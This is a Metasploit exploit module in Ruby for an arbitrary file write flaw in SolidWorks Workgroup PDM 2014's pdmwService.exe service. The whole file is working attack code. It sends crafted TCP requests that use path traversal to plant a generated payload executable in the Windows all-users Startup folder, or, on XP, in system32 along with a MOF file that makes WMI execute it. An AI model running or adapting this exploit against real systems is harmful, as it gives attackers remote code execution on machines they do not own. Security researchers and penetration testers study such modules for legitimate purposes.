SolidWorks Workgroup PDM 2014 - 'pdmwService.exe' Arbitrary File Write (Metasploit)

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',
      'Description'    => %q{
        This module exploits a remote arbitrary file write vulnerability in
        SolidWorks Workgroup PDM 2014 SP2 and prior.

        For targets running Windows Vista or newer the payload is written to the
        startup folder for all users and executed upon next user logon.

        For targets before Windows Vista code execution can be achieved by first
        uploading the payload as an exe file, and then upload another mof file,
        which schedules WMI to execute the uploaded payload.

        This module has been tested successfully on SolidWorks Workgroup PDM
        2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>',  # Metasploit
        ],
      'References'     =>
        [
          ['EDB',   '31831'],
          ['OSVDB', '103671']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on:
          # - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)
          # - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)
          ['Automatic', { 'auto' => true } ], # both
          ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}],
          ['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Feb 22 2014',
      'DefaultTarget'  => 0))

    register_options([
      OptInt.new('DEPTH', [true, 'Traversal depth', 10]),
      Opt::RPORT(30000)
    ], self.class)
  end

  def peer
    "#{rhost}:#{rport}"
  end

  #
  # Check
  #
  def check
    # op code
    req  = "\xD0\x07\x00\x00"
    # filename length
    req << "\x00\x00\x00\x00"
    # data length
    req << "\x00\x00\x00\x00"
    connect
    sock.put req
    res = sock.get_once
    disconnect
    if !res
      vprint_error "#{peer} - Connection failed."
      Exploit::CheckCode::Unknown
    elsif res == "\x00\x00\x00\x00"
      vprint_status "#{peer} - Received reply (#{res.length} bytes)"
      Exploit::CheckCode::Detected
    else
      vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
      Exploit::CheckCode::Safe
    end
  end

  #
  # Send a file
  #
  def upload(fname, data)
    # every character in the filename must be followed by 0x00
    fname = fname.scan(/./).join("\x00") + "\x00"
    # op code
    req  = "\xD0\x07\x00\x00"
    # filename length
    req << "#{[fname.length].pack('l')}"
    # file name
    req << "#{fname}"
    # data length
    req << "#{[data.length].pack('l')}"
    # data
    req << "#{data}"
    connect
    sock.put req
    res = sock.get_once
    disconnect
    if !res
      fail_with(Failure::Unknown, "#{peer} - Connection failed.")
    elsif res == "\x00\x00\x00\x00"
      print_status "#{peer} - Received reply (#{res.length} bytes)"
    else
      print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
    end
  end

  #
  # Exploit
  #
  def exploit
    depth    = '..\\' * datastore['DEPTH']
    exe      = generate_payload_exe
    exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"
    if target.name =~ /Automatic/ or target.name =~ /Vista/
      print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)")
      upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}", exe)
    end
    if target.name =~ /Automatic/ or target.name =~ /XP/
      print_status("#{peer} - Sending EXE (#{exe.length} bytes)")
      upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe)
      mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"
      mof      = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
      print_status("#{peer} - Sending MOF (#{mof.length} bytes)")
      upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
      register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
    end
    register_file_for_cleanup("#{::File.basename(exe_name)}")
  end
end